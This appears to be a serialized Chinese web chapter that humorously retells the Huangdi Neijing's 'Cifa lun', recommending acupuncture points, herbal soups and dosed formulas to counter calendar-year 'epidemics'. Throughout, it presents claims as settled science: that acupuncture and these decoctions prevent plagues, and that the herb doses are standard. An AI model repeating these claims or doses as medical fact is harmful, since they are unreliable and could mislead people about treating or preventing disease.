调理嘛，除了咱们前面说的针灸、食疗，还有很重要的一点，就是调整生活习惯。比如，多喝水，少熬夜，多吃清淡的食物，少吃那些油腻腻、火辣辣的东西。就像是给身体来个“大扫除”，把多余的热量都排出去，让身体回归到一个平衡、舒适的状态。 岐伯又说道：“陛下，你知道吗？在丑年和未年啊，那天上的能量啊，多得都快溢出来了，结果呢，咱们的太阴脾神就像是个加班过度的员工，死活不肯下班，愣是在那儿加班加点地工作。” 这话怎么讲呢？咱们知道，中医讲究五行八卦，天干地支，这丑未之年啊，湿气特别重，就像是老天爷开了个大澡堂子，雨水那个下啊，简直是“雨露均沾”，到处都湿漉漉的。这湿气一多，咱们的太阴脾经就开始闹情绪了，它本该休息调整，却硬是被推着继续干活，你说这能不累嘛！ 岐伯接着说了：“这时候啊，咱们得给这脾神放个小长假，怎么放呢？针灸大法好！得找足太阴脾经的‘归宿穴’，也就是现代咱们说的‘太白穴’，给它来上一针，让它感受到来自人类智慧的温柔关怀。” 说到这太白穴啊，它可是脾经上的大腕儿，位于脚内侧，大脚趾根儿那块儿骨头后下方凹陷里。想象一下，你晚上泡脚的时候，一边哼着小曲儿，一边用手指轻轻一按，哎哟，那叫一个酸爽，感觉整个脾胃都舒展开了，湿气仿佛随着这一按，嗖的一下就被排出去了！ 不过，光扎针还不行，岐伯要是知道咱们现代人这么懒，肯定得摇头。所以，咱们还得来点食疗小方子，双管齐下，效果杠杠的！ 这里我给大家推荐一个“健脾祛湿汤”，配方简单，材料好找，效果却是杠杠的！首先，你需要准备：白术15克（差不多就是一小把），茯苓15克（想象成一块小肥皂大小），薏米30克（一小碗），山药30克（一根小山药），再加瘦肉或者排骨200克（差不多就是一块小牛排的大小）。 做法嘛，超级简单，先把肉焯水去腥，然后把所有材料一股脑儿扔进锅里，加水没过材料，大火烧开后转小火慢炖个一两个小时，炖到汤色奶白，香气四溢，这时候，你的鼻子怕是要被这香味勾得直流口水了！ 喝上一碗，哎呀，那感觉，就像是整个身体都被温暖的阳光包围，湿气嗖嗖地往外冒，脾胃那叫一个舒服，整个人都轻盈了起来，仿佛年轻了十岁！ 当然啦，说到中医，脉象是绕不开的话题。咱们平时看电视，老中医总是一搭脉，就知道你昨晚吃了啥，那叫一个神奇！其实，这背后都是有讲究的。 在丑未之年，湿气重，咱们的太阴脾脉啊，就会显得特别“慵懒”，脉象呢，就像是懒洋洋的猫咪，缓缓跳动，力度不足，有时候还带点滑滑的感觉，就像是摸到了刚洗完澡的小泥鳅，滑不溜手的。 这时候，你要是去找老中医看病，他可能会笑眯眯地对你说：“小伙子/小姑娘，你这脉象啊，一看就是湿气太重，得好好调理调理了。”然后，他可能就会给你开上几副药，或者建议你像我前面说的，扎扎针，喝喝汤，好好给自己的脾胃放个假。 岐伯又开始说道：咱们得明白啥是“寅申之岁”。这啊，其实是古代天干地支纪年法里的说法。寅年和申年，那可是特定的年份，就像咱们现在说的“本命年”一样，总有些特别的事儿会发生。岐伯说，在这两年里，“天数有余”，就是说天上的阳气太足了，导致少阳这位老兄不愿意退位， 非得在天上多待会儿。 少阳是啥？在中医里，它可是个重要角色，代表着一种温和、上升的阳气。但要是它不退位，那可就麻烦了。想象一下，冬天该冷的时候不冷，夏天该热的时候更热，这不就是少阳不退位造成的“热行于上，火化布天”嘛！ 那怎么办呢？岐伯说了，得刺手少阳之所入。这话听起来挺玄乎，其实就是说，咱们得找个穴位，给它来一针，让少阳这位老兄乖乖退位。在现代中医里，这个穴位对应的就是“液门穴”。液门穴啊，就在咱们手背上，小指和无名指之间的那条缝儿里，往手腕方向一推，就能摸到一个凹陷，那就是它了。 说到这儿，我得插一嘴。你想象一下，液门穴就像少阳这位老兄家的后门儿。岐伯这一针下去，就相当于在后门儿敲了敲，说：“嘿，老兄，时候不早了，该回家了吧！”少阳一听，心想：“好吧，既然你都这么说了，那我就勉为其难地退位吧。”于是，热气就跟着这一针，慢慢地从身体里散出去了。 当然啦，这只是个比喻。实际上，针灸的作用可复杂多了。它不仅能调节气血，还能激发身体的自愈能力。就像咱们有时候累了，按摩一下穴位，就能感觉精神焕发一样。 不过啊，要是你以为针灸就这么简单，那就大错特错了。岐伯可是个严谨的人，他提出的疗法都是有科学依据的。就说这个液门穴吧，它可是手少阳三焦经的荥穴。荥穴啊，就像是小溪里的水，虽然不多，但流起来可欢快了。针灸液门穴，就能让这条小溪流得更顺畅，从而调节三焦经的气血。 说到这儿啊，我得再给大家科普一下三焦经。三焦啊，在中医里可是个神秘的存在。它不像其他脏腑那样有具体的形态和位置，但它却无处不在。上焦主心肺、中焦主脾胃、下焦主肝肾。三焦通顺了，咱们的身体才能健康。 那要是少阳不退位，三焦不通顺了怎么办呢？除了针灸液门穴啊，岐伯还给我们留下了很多方剂。不过啊，这些方剂可不是随便乱配的。它们都是根据药物的性味归经、君臣佐使的原则精心配制的。 比如说吧，要是你觉得热气太重了，那就可以用点清热泻火的药。像黄连啊、黄芩啊、黄柏啊，这些都是清热的好手。不过啊，它们可不能一起用，得根据具体情况来搭配。比如说黄连吧，它可是个苦寒的家伙，擅长清心火。黄芩呢，就温和多了，擅长清肺火。黄柏呢，就更厉害了，它不仅能清热，还能燥湿。 那这些药得用多少呢？这可得根据具体情况来定。岐伯说了啊，用药如用兵，得根据实际情况来调整。不过啊，为了给大家一个大概的印象，我可以把这些药的用量换算成克。比如说黄连吧，一般用个5-10克就差不多了。黄芩呢，也是5-10克。黄柏呢，稍微多一点，10-15克。当然啦，这只是个大概的用量，具体还得看病情和体质。 除了用药啊，岐伯还强调了脉象的重要性。他说啊，脉象就像是一面镜子，能反映出咱们身体的状况。要是少阳不退位啊，脉象就会显得洪大有力。这就像咱们有时候生气了，脉搏就会跳得很快很有力一样。 那怎么看脉象呢？这可得靠点技巧了。你得用手指轻轻地按在手腕的动脉上，然后仔细感受它的跳动。要是觉得跳动得很有力啊，那就得注意了，可能是少阳不退位了。不过啊，这只是个大概的判断方法，具体还得靠医生的经验和技巧。 刺法论篇第七十二（六） 岐伯又说：陛下咱们得明白啥是“卯酉之岁”。这啊，其实说的是农历里的两个年份，卯年和酉年。在这两年里，天上的“天数”啊，就像咱们过年收的红包一样，多得有点儿过头了。这可不，阳气太盛，阳明这位老兄就不愿意退位了，非得在身体里多待一会儿，展示自己的存在感。 阳明不退位，那可不是啥好事儿。你想啊，阳明是燥金之气，它要是赖着不走，那整个身体就得跟着遭殃。燥气弥漫，就像秋天的大风刮过沙漠，干燥得让人受不了。这时候，咱们的身体就得想办法把这股燥气给赶出去，不然啊，就得生病啦！ 岐伯大佬说了，这时候得刺手太阴肺经的穴位。手太阴肺经啊，那可是咱们身体里的“润肺神器”，专门对付这种干燥的天气。不过，在古代，穴位的名字可能有点儿让人摸不着头脑，比如“之所入”这种，听起来就像是武侠小说里的神秘武功。但别担心，咱们现代人已经给它起了个更接地气的名字——太渊穴。 太渊穴啊，就在咱们手腕那儿，轻轻一按，就能感觉到一股清凉的气息从身体里冒出来，就像是沙漠里的一股清泉，瞬间就能滋润咱们的身体。所以啊，要是阳明不退位，咱们就得找太渊穴这位“润肺大侠”来帮忙啦！ 不过啊，光刺穴位还不行，岐伯还说了，这时候得配合点儿方剂来调理身体。方剂啊，就像是给身体开的“药方大餐”，里面有各种药材，它们相互配合，就能把身体里的病邪给赶出去。 那咱们得吃啥方剂呢？岐伯说了，得吃点儿润肺燥、清阳明的药材。比如说啊，咱们可以弄点儿麦冬、沙参、百合这些药材来煲汤喝。麦冬啊，就像是给身体里的“小河”加水，让身体不再那么干燥；沙参呢，就像是给身体里的“土壤”施肥，让身体更有活力；百合啊，那就是给身体里的“花朵”浇水，让身体更加美丽动人。 这些药材啊，咱们得按照一定的比例来配。比如说啊，麦冬来个30克，沙参来个20克，百合来个15克。这样一配啊，就像是给身体开了一剂“润肺大餐”，吃起来那叫一个舒服啊！ 当然啦，除了吃药材汤啊，咱们还得注意脉象。脉象啊，就像是身体里的“天气预报”，能告诉咱们身体现在是个啥情况。要是阳明不退位啊，那脉象就得是“浮而涩”的。浮呢，就像是水面上漂着的一片叶子，轻轻一碰就能动；涩呢，就像是咱们吃柿子时那种涩涩的感觉，不那么顺畅。 这时候啊，咱们就得好好观察脉象了。要是发现脉象不对头啊，那就得赶紧找岐伯大佬这样的高手来看看了。不然啊，这阳明不退位可是会惹出大麻烦的！ 不过啊，咱们也别太担心。岐伯说了啊，只要咱们平时注意饮食起居啊，别吃太多辛辣干燥的食物啊，多喝水啊，多锻炼身体啊，那这阳明不退位啊，也就没那么容易找上咱们啦！ 说到这儿啊，我得插个题外话。有一次啊，我碰到一个哥们儿啊，他非得说自己阳明不退位啊，整天嚷嚷着要吃药材汤。我一问才知道啊，他这是吃辣椒吃多了啊，上火了啊！我跟他说啊：“哥们儿啊，你这不是阳明不退位啊，你这是辣椒吃多了啊！你得少吃点儿辣椒啊，多喝水啊！”他一听啊，立马就笑了：“哈哈哈，原来是这样啊！我还以为我得了啥大病呢！” 岐伯又说道：话说在辰年和戌年啊（这辰年戌年的，咱们可以理解为某些特定的年份，比如每隔几年就会轮到的那种），天上的“天数”（咱们可以理解为大自然的能量分配）有点过剩，就像过年吃得太饱，肚子里的食物迟迟不消化一样。结果呢，太阳这位老大爷就赖着不走，不肯把位置让给其他的“节气小弟”。这样一来，寒气这家伙就趁机往上窜，满天遍野都是冷冰冰的气息，就像冬天你把冰箱门打开，那股子寒气直往你脸上扑一样。 岐伯这时候就说了：“得嘞，这种情况下，咱们得给身体来点‘温柔一刀’——扎针！”扎哪儿呢？足少阴肾经上的“涌泉穴”！涌泉穴啊，就在咱们脚底心，差不多就是袜子底最中间那块儿，想象一下，你踩到了什么超级凉的冰块上，那地方就是涌泉穴附近的感觉。为啥选这儿？因为肾是先天之本，主水液代谢，寒气太重了， 咱们得通过刺激肾经，让它赶紧把寒气给“嘘”出去，就像给身体开个排风扇，把冷气往外吹。 不过啊，岐伯还说了，这扎针可不是随便扎扎就行的，得讲究个“以法刺之”。啥法呢？简单说，就是要根据每个人的体质、病情，还有当时的天地气候，来决定扎针的深浅、角度、速度，简直就像调配一个超级复杂的烤肉方子，每个细节都不能出错。 说到这里，咱们不妨脑洞大开一下，如果把扎针比作调配一个秘方的话，那么这个“秘方”的配方就是：选取涌泉穴为主穴，再根据具体情况加配其他穴位（比如寒气太重，可以加扎足三里温阳散寒；如果肾气不足，可以搭配太溪穴补肾益气），然后医生得像个精准的调酒师，用他那灵巧的手指，精确地“调配”每一针的力度和角度，让这股“治疗之力”能够直达病灶，瞬间化解身体的“小情绪”。 当然了，岐伯还提醒我们，这种“天地气逆，化成民病”的情况，预防胜于治疗。也就是说，咱们平时就得注意保养，别等到寒气逼人的时候才想着怎么驱寒。比如，多穿点衣服，少吃点冷饮，多泡泡脚，这些都是简单易行的“养生大法”。 接下来，咱们再来聊聊脉象。脉象啊，就像是身体的“天气预报”，能反映出咱们身体内部的状况。比如，寒气太重的时候，脉象往往偏紧，就像一根紧绷的弦，轻轻一拨就能听到“嗡嗡”的回响。这时候，中医大师们就会通过摸脉，来判断寒气的轻重，以及是否影响到了其他脏腑。 说到摸脉，这可真是一门技术活，得练！就像咱们打游戏练级一样，一开始可能手忙脚乱，摸不准，但多练练，就能做到“一摸即知”，甚至还能通过脉象预测未来几天的天气变化（开个玩笑啦，但脉象确实能反映出身体的微妙变化）。 黄帝有一天突然心血来潮，对岐伯说：“嘿，岐伯，咱们聊聊一个深奥的问题吧！你说这天地间的刚柔两股力量，要是它们不老实，不在自己的位置上好好待着，是不是会导致天上的运气也变得虚弱无力啊？这样一来，老百姓们是不是就要遭殃，各种疾病都找上门来了？咱们能不能找到什么办法，让这局面平定下来呢？” 岐伯一听，哈哈大笑，拍着黄帝的肩膀说：“哎呀，黄帝大人，您这问题问得可真够深奥的！不过，既然您都开口了，我当然得给您好好说道说道。您看啊，这天和地，它们就像两个调皮的孩子，时不时就要换个位置玩玩，这叫‘天地迭移’。每当它们这么一换，大约过上三年，就得闹出点疫情来，这就像是学生们的‘三年之痒’，总得找点事做嘛！但这疫情的根源嘛，还是可以找到的，关键就在于咱们得找到那个‘逃课’的出口，也就是解决问题的法门。” 黄帝一听，眼睛一亮，说：“哦？这么说来，咱们还真得好好找找这个‘逃课’出口了！快说说，这法门到底是啥？” 岐伯故作神秘地笑了笑，说：“您别急，听我慢慢道来。首先啊，咱们得明白，这天地间的刚柔二气，其实就像是咱们人体的阴阳二气。它们要是失调了，人体就会出问题，对吧？同样地，天地间要是失调了，那整个自然界的运气也就乱了套。但您知道吗？咱们人体上可是有很多‘逃课’的秘籍——穴位呢！这些穴位就像是调节人体阴阳的小开关，只要咱们掌握了它们，就能在一定程度上对抗天地间的这种‘逃课’行为。” 黄帝听得津津有味，说：“那快说说，都有哪些穴位是咱们的‘逃课’秘籍啊？” 岐伯说：“比如说啊，有个穴位叫‘合谷’，在现代穴位名称里它可是个‘逃课高手’。它位于咱们大拇指和食指之间的凹陷处，您要是觉得身体有点不舒服，像是被天地间的运气给‘欺负’了，就可以揉揉这个穴位，它就像是给您身体打了个‘逃课’的掩护，让您能暂时避开那些不好的运气。” 黄帝一听，笑得前仰后合，说：“哈哈，原来合谷穴还是个‘逃课高手’啊！那还有其他的吗？” 岐伯接着说：“当然还有了！比如说还有个穴位叫‘足三里’，它可是咱们人体的‘大保健’穴位。位于小腿外侧，膝盖下方三寸的位置。您要是觉得身体累了，或者像是被天地间的‘逃课’行 为给连累了，就可以敲打敲打这个穴位，它就像是给您身体做了个全面的‘逃课’计划，让您能轻松应对各种不适。” 黄帝听了，笑得合不拢嘴，说：“哈哈，岐伯老师，您这解释真是太逗了！那除了穴位，咱们还有没有什么方剂可以用来对抗这种天地间的‘逃课’行为呢？” 岐伯说：“当然有啦！我给您推荐一个方剂，咱们就叫它‘逃课防疫汤’吧！这个方剂啊，主要成分有黄芪、白术、防风、甘草、板蓝根和金银花。黄芪和白术就像是咱们身体的‘守门员’，能守住身体的大门，不让那些不好的运气进来；防风就像是给身体穿上了一层‘逃课’的隐身衣，让身体能暂时避开那些不好的运气；甘草就像是给身体加了个‘逃课’的缓冲垫，让身体在应对不好运气时能更加从容；板蓝根和金银花则是清热解毒的高手，就像是给身体来了个大扫除，把那些不好的运气都扫出门外。” 黄帝一听，眼睛又亮了，说：“那这方剂怎么制配呢？得用多少量啊？” 岐伯说：“这很简单啦！黄芪用个15克，白术用个12克，防风用个9克，甘草用个6克，板蓝根和金银花各用个15克。把这些药材放在一起煮，煮个半个小时左右，然后滤掉药渣，喝那个药汤就行了。不过啊，这方剂虽然好，但也不能当饭吃哦！还是得靠咱们平时多注意锻炼身体，保持心情愉悦，这样才能从根本上对抗那些天地间的‘逃课’行为。” 黄帝听了，连连点头，说：“岐伯老师，您说得太对了！那咱们再来聊聊脉象吧！您说这脉象和天地间的‘逃课’行为有没有什么关系呢？” 岐伯说：“当然有啦！脉象就像是咱们身体的‘逃课成绩单’，它可是会如实反映咱们身体的状况的。比如说啊，要是脉象洪大有力，那就像是学生考试得了满分，说明咱们身体状态很好；要是脉象细弱无力，那就像是学生考试不及格了，说明咱们身体可能就有点问题了。而天地间的‘逃课’行为呢，就像是突然来袭的考试，要是咱们身体准备不充分，脉象就会如实反映出来啦！” 黄帝大佬突然眉头一皱，发现事情并不简单，于是问岐伯：“老岐啊，你说要是这甲子年的天地之气，哦不对，是那刚柔之气，它们要是玩起了‘失踪’，不按套路出牌，会怎么样呢？” 岐伯一听，哈哈一笑，说：“这事儿啊，得从长计议。假设说，甲子年吧，这刚气（阳气）和柔气（阴气）它不守规矩，刚气没站对位置，柔气呢，就孤零零的，亏了。这样一来，四季的节气也跟着乱套了，音乐旋律都不和谐了，你听听，这是不是‘天籁之音’变‘噪音’了？要是这样持续三年，嘿，那可就得小心了，大瘟疫就要来敲门了！” 黄帝一听，心里咯噔一下，忙问：“那可咋办？咱得想个辙啊！” 岐伯捋了捋他那飘逸的胡须，慢条斯理地说：“别急，咱们得仔细观察这瘟疫的轻重深浅，就像看一个人发脾气，是微微一笑还是河东狮吼，心里有数。等它快来了，咱就给它来个‘突然袭击’，用针灸疗法搞定它！首先啊，得给肾补补，肾俞穴，就是咱们现代说的‘第二腰椎棘突下，旁开1.5寸’那个地方，先来几针，让它强壮起来。然后呢，三天之后，咱们再转战足太阴脾经的‘太白穴’，也就是脚内侧，大脚趾根那块儿，给它也来个‘爱的鼓励’。” 黄帝一听，眼睛一亮：“高，实在是高！那要是遇到更奇葩的情况，比如说，下面的己卯年，那柔气直接不来了，甲子年的刚气就孤零零地在那站岗，这又会咋样？” 岐伯嘿嘿一笑：“这事儿更逗了，三年之后啊，那地方就得闹‘土疠’，就是跟土地有关的瘟疫。治法呢，跟甲子年那套一样，补肾俞，扎太白，一套组合拳下来，保证让它知道谁是老大！” 黄帝点头如捣蒜：“好好好，那扎完针之后呢？还有啥要注意的不？” 岐伯摆摆手：“那可就多了，首先啊，别晚上出去溜达，也别跑太远，得在家窝七天，搞搞卫生，拜拜佛，清清心，让身心都来个‘大扫除’。还有啊，要是肾有老毛病的人，可以每天凌晨三点到五点，也就是寅时，面朝南方，心里别想太多，就跟和尚打坐似的 ，闭上眼睛，深呼吸，吸气呼气，来个七次。然后啊，伸长脖子，像天鹅一样优雅地把气咽下去，感觉像是吞了个大石头，这样重复七次。最后，别忘了，把舌头下面的津液，也就是口水，咽下去，越多越好，这可是自然的‘养生丸’啊！” 刺法论篇第七十二（七） 岐伯悠悠地对黄帝说：“陛下啊，咱们来聊聊假如有个年份，比如说丙寅年，这年份可不简单，它就像个调皮的孩子，刚柔不守规矩，上面的阳气刚猛过头，下面的阴气呢，又软弱得没法独自撑起场面。这时候，中间的水运呢，也不按套路出牌，既不是太过也不是不及，搞得咱们这些医生啊，就像丈二和尚摸不着头脑，不能随便按老规矩来治病了。” 黄帝一听，眉头紧锁：“这可如何是好？” 岐伯微微一笑，继续他的“段子”：“您看这天上的气场啊，多余得都溢出来了，但偏偏又没守规矩，没和地下的气场对上号。这就好比咱们唱歌跑调，律吕音都乱了套。这样一来，大自然的节奏就乱了套，后三年啊，准得闹瘟疫！” 黄帝一听，心里咯噔一下：“这可大事不妙啊！” 岐伯摆摆手：“别急，陛下，这事儿有轻有重。轻的，瘟疫来得慢点儿，三年后才显现；重的，嘿，头一年就给你颜色瞧瞧。不过呢，咱们有招儿！” 岐伯神秘兮兮地说：“首先啊，咱们得给心脏补补，心脏是身体的发动机嘛，得让它强劲有力。怎么补？找个穴位，现代话叫‘心俞穴’，给它来个温柔的按摩或者针灸，连续五天，让它感受到咱们的关爱。” 黄帝点头：“嗯，这方法听起来不错，那接下来呢？” 岐伯笑道：“接下来，咱们得给肾脏降降温，肾脏太燥了也不行。找个对应的穴位，现代叫‘太溪穴’，给它来个小小的刺激，就像给手机充电，得适度，不能过头。” 黄帝听得津津有味：“原来如此，那要是地上的气场也不听话呢？比如辛巳年，地下的阴气不肯配合阳气，这也叫失守吧？” 岐伯点头：“对头！这时候啊，整个大地的运气都虚了，后三年，水灾、瘟疫一起来，热闹得很。不过，别怕，咱们还是那套针灸大法，只不过这次得根据实际情况调整穴位和力度。” 黄帝忍不住问：“针灸完了呢？有啥要注意的？” 岐伯一本正经地说：“这就得说到养生大忌了——大喜大悲都不行！特别是刚针灸完，你得像个修行者，心如止水，别让那些七情六欲给搅和了。不然啊，刚补进去的气，嗖的一下又散了。你得静静修养七天，让心气实起来，少胡思乱想，多感受生活的美好。” 岐伯又说道：“假如啊，咱们碰上个庚辰年，这年的天地之气就不太对劲，就像家里的老大（上位）没看好门，小弟（下位）又找不到队友配合，这不乱套了嘛！特别是这乙庚两兄弟，他们代表的金属性的运气（金运），本该手拉手一起玩的，结果却各玩各的，天上那股子力量（布天）还没撤退呢，地上的运势（中运）又急着来凑热闹，这一上一下的，简直就是错位的舞蹈嘛！这就叫‘失守’，懂不？就像咱们现在流行的错位自拍，只不过这次主角是天和地。” “更绝的是，这时候你要是听听自然界的音乐（姑洗林钟，古代乐律名，这里代指自然界的和谐之音），你会发现商音（代表金属性的音符）竟然缺席了，就像演唱会少了主唱一样。这样一来，大自然的节奏就全乱了，三年之内，嘿嘿，大疫情可能就找上门了。” 不过呢，岐伯也说了，“这事儿有轻有重，轻的就像蚊子咬一口，三年后就是个小感冒；重的嘛，就像被大象踩了一脚，那疫情可就凶猛了。”怎么办呢？别急，岐伯有妙招！ “首先啊，你得先给肝脏补补，肝脏嘛，就像咱们家里的存钱罐，得把它喂饱了，才有力气对抗病毒。怎么找这个‘存钱罐’呢？很简单，就在你背上，现代医学叫‘肝俞穴’，找到它，轻轻揉揉，或者让专业人士给你扎几针，那叫一个舒服！” “然后呢，三天后，咱们再轮到肺脏，肺是咱们身体的空气净化器，得让它也活动活动。怎么活动？还是在背上找它的‘跑道’——肺俞穴附近的一些穴位，比如中府、云门，给它们来个小小的刺激，让它们知道，该干活了！” “刺完穴之后，记 得要淡定，就像吃了定心丸一样，静养七天，别动不动就发火，不然啊，你体内的‘真气’就会像逃学的孩子一样，一溜烟儿就没了。记住，生气真的伤身体，别到时候疫情没来，自己先把自己气病了。” “哦对了，还有种情况，如果地上的甲子年乙未年，乙这个温柔的家伙没看好门，让庚这个硬汉独自掌权，这也是‘失守’的一种。这时候，天地间就像只有一个将军指挥，乱成一锅粥，三年之后，就会有种特别的疫情，咱们叫它‘金疠’，听起来就像金属做的瘟疫，厉害得很！不过，岐伯说了，只要咱们仔细观察，还是能分辨出疫情的轻重缓急，提前做好准备。” “至于治疗嘛，不论是哪种失守，上面的刺法都差不多，关键是养肝，养肝就是别生气，生气真的伤肝啊，小伙伴们！想象一下，你的肝脏是个小宝贝，你每天对它笑一笑，它就能帮你挡住好多病毒呢！” 如果时间回到了那个神秘的壬午年，天地间的刚柔之气突然玩起了“失踪游戏”，上边的壬水大哥还没来得及正式上任，下边的丁火小弟就急匆匆地独自登场了。这可不妙啊，就算是阳光明媚的年份，这亏损的“家庭氛围”也是各不相同，上下失和，简直就是一场预谋已久的“时空错位派对”。 岐伯说了：“嘿，你们可别小看这错位，它可是有规律的，就像咱们听音乐，律吕二角要是和谐不了，那就是灾难的前奏啊！哪天哪个音符不对劲，轻微还是严重，都是有数儿的。”这不，要是真碰上了，三年之内，大疫可能就找上门来了。 这时候，咱们得赶紧拿出“防疫针”——针灸大法！首先，得找脾经的“大宅门”——脾俞穴（现代名称哦，就是背部第11胸椎棘突下，旁开1.5寸的那个小窝窝），给它来个温柔的“按摩”。记住，别使劲儿，咱们这是治病，不是练铁砂掌！ 然后呢，隔上三天，再给肝经的“出口”——太冲穴（脚丫子大拇指和二拇指中间，往后摸，摸到那个凹陷就对了）来个“疏通服务”。这一针下去，保准你肝气舒畅，心情美美哒！ 但是，别以为扎完针就万事大吉了，岐伯爷爷还有话要说：“扎完针后，你得给我老实点，静坐七天，别出去疯玩，也别喝得酩酊大醉，唱着‘最炫民族风’，那样你的‘气’又得散了。还有啊，别吃得太撑，更别吃那些刚从土里蹦出来的‘小鲜肉’，毕竟它们还没‘成年’呢！” 想让脾哥哥身强体壮，那就得让它别堵心，别吃得太饱，也别老坐着不动，跟个“宅神”似的。吃东西呢，别太酸，酸得跟柠檬精似的，谁受得了啊？还有，一切“小鲜肉”都靠边站，咱得吃点甘甜的，清淡的，比如小米粥、清蒸南瓜，那才叫一个舒服！ 可要是地下的甲子年，丁酉这家伙也不老实，没站好自己的岗，跟壬午大哥没法配合默契，那也叫“失守”，可不是什么“天作之合”。这时候，地气就不稳了，三年之内，说不定就得闹瘟疫。不过别怕，治疗方法和前面说的木疫差不多，还是那套“针灸+养生”的组合拳。 说到这里，你是不是觉得岐伯真是个“穿越版”的防疫专家？他不仅懂天文地理，还精通人体奥秘，简直就是古代的“超级英雄”。不过，咱们也别光顾着笑，岐伯的话里可藏着大学问呢！ 咱们再聊聊脉象，这可是中医的独门秘籍。想象一下，你的脉搏就像是一条小河，正常情况下，它应该是平稳流淌的。但要是生病了，嘿，那小河就得闹腾了。比如，要是脾出了问题，脉象就可能变得迟缓无力，就像是被水草缠住了似的。这时候，你就得注意了，可能是你吃得太多，或者太懒，让脾哥哥累坏了。 所以啊，咱们平时就得多关心关心自己的身体，别等到“小河泛滥”了才后悔莫及。岐伯的针灸大法加上养生秘籍，简直就是咱们身体的“守护神”。记住，别等病找上门来才想着去治，平时就得好好保养，让身体一直处于“最佳状态”。 咱们再来个幽默小总结：壬午年，刚柔失守，上下乱套，就像家里开派对，主人却跑了。脾俞、太冲 来救场，针灸大法显神威。静坐七天不胡闹，饮食清淡别吃撑。丁酉甲子要听话，别添乱子惹瘟疫。脉象小河要平稳，身体棒棒乐无边！ 话说那是一个戊申年，天地间的刚柔之气突然玩起了“失踪游戏”。按说，戊癸相遇应该火花四溅，火运旺旺的，但这一年却偏偏不按常理出牌。岐伯悠悠地说：“戊癸虽然理论上是火运年，但阳年火势却没那么嚣张，为啥呢？因为上面的刚气跑路了，只剩下柔气在那里独挑大梁，结果呢，气场就不稳了，邪气就容易趁机而入。” 这邪气吧，还特别爱搞恶作剧，一会儿跑到这儿，一会儿窜到那儿，就像小朋友在玩捉迷藏，不过它们可没那么友好，每次移动都会留下点“小礼物”——深浅不一的病痛。岐伯又说：“当这些邪气快要聚到一起，准备搞大事情的时候，它们还会先来个‘音律同步’，就像是提前开个秘密会议。这样一来，天地的运转就乱了套，三年之内，火疫就要来啦！” 听到这里，你是不是已经紧张得不行了？别急，岐伯早就给出了解决方案——刺肺俞穴！没错，就是那个藏在背部，专门守护我们肺部的“超级英雄”。在现代穴位体系中，肺俞穴位于第三胸椎棘突旁开1.5寸（大约是两个手指并拢的宽度）的地方，左右各一个，简直就是肺部的私人保镖。 不过，刺穴可不是闹着玩的，得找专业的针灸师来操作。刺完之后，岐伯大神还特别提醒：“记得静下心来休息七天，千万别大哭大闹，否则肺一动，刚聚起来的气又散了，那可就前功尽弃了！”想象一下，你刚给肺部请了个保镖，结果自己一激动，把保镖也给吓跑了，是不是很搞笑？ 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！那么，如果想在日常生活中加强肺部的防御力，有没有什么秘诀呢？岐伯微微一笑：“关键在于学会‘息气’。”这可不是让你憋气，而是要学会深呼吸，让每一次呼吸都充满力量和节奏感，就像在给肺部做瑜伽一样，让它变得更加强健有力。 接下来，咱们再聊聊那个“地下甲子癸亥失守”的奇葩情况。简单来说，就是地下的柔气也玩起了失踪，上面的刚气就更孤单了，这简直就是戊癸之间的“分手大戏”。岐伯说：“这种情况下，天地之间的运气和地面的空虚一拍即合，三年后，火疠就来了，也就是咱们说的火疫。” 听起来是不是很可怕？但岐伯可是咱们的“定海神针”，他早就给出了预防的秘方。不过，这里我得先卖个关子，因为真正的秘方不是药物，而是——生活方式！没错，保持良好的生活习惯，合理饮食，适量运动，充足睡眠，这些看似简单的做法，其实才是预防疾病的最佳良方。 当然啦，如果你真的想通过药物来辅助调理，岐伯也留下了不少经典方剂。不过，由于篇幅有限，咱们就挑一个简单易懂，又适合现代人体质的来聊聊吧——比如“润肺汤”。 润肺汤配方： - 雪梨干：50克（润肺止咳，清新爽口） - 百合：30克（养阴润肺，安神定志） - 麦冬：20克（生津止渴，清心除烦） - 银耳：15克（滋阴润肺，美容养颜） - 冰糖：适量（调味，增加口感） 制作方法：将所有材料洗净，放入砂锅中，加入足够的水，大火烧开后转小火慢炖1-2小时，直至汤色清亮，味道浓郁。最后加入适量的冰糖调味即可。 怎么样？这个“润肺汤”听起来是不是既健康又美味？ 刺法论篇第七十二（八） 岐伯慢悠悠地说：“陛下，要想在医学界站稳脚跟，首先得明白个道理，那就是，你站在地上五年，哦不，是说你学医五年，得能看出来哪里‘失守’了，哪里不对劲儿。这‘失守’啊，可不是说谁家的城门没关好，而是咱们人体内的那些小宇宙——五行啊、脏腑啊，它们之间的平衡被打乱了。这时候，就得拿出咱们的‘法刺’绝技，也就是针灸大法，来对付那些让人头疼脑热的疫情和瘟疫了。” “你们知道吗？这疫情和瘟疫啊，听起来挺吓人的，其实它们就像是古代江湖上的两兄弟，‘疫’呢，就像是那个刚猛有力的大哥，喜欢直接动手，让人措手不及；而‘疠’呢，就像是那个阴险狡诈的小弟，擅长暗中使绊子，慢慢折磨你。不过呢，别看他们名字听起来酷炫，其实在咱们中医眼里，他们都是五行不和、阴阳失调的产物，归根结底，还是一家人嘛！” “说到这刺疫法，听起来高大上，其实总结起来就五招，简单粗暴，直接对应咱们的五脏六腑和五行。这就好比打游戏，不管敌人怎么变，咱们就五套装备轮着上，总有一款能克制它们！这五套装备啊，就是根据五行相生相克的原理设计的，咱们中医讲究的就是这个‘天人合一’，万物皆可归五行嘛！” “来来来，咱们详细说说这五法。第一法，对付的是那‘火疫’，就像是身体里的小火苗不受控制了，这时候咱们得找谁呢？对了，就是‘涌泉穴’！现代话说就是脚底心那块儿，给它一针，就像是给火苗浇了盆冷水，立马就老实了。记得哦，针灸可不是乱扎的，得找准穴位，温柔又精准，就像是给手机贴膜，一丝不苟！” “第二法，对付的是‘金疫’，就像是肺里进了沙子，咳嗽不止。这时候咱们得找‘太渊穴’，就在手腕那儿，轻轻一按，就像是给肺洗了个澡，呼吸都顺畅多了。想象一下，你正被金疫折磨得喘不过气，突然一针下去，瞬间感觉自己又能上山打老虎，下海擒蛟龙了！” “第三法，对付的是‘木疫’，这就像是肝脏里长了棵树，枝叶乱窜，让人头疼欲裂。这时候咱们得找‘太冲穴’，在脚背上，给它一针，就像是给那棵树修剪了枝叶，立马就安静了。记得哦，针灸这事儿，得找专业人士，不然扎错地方，可就成了‘自残大赛’冠军了！” 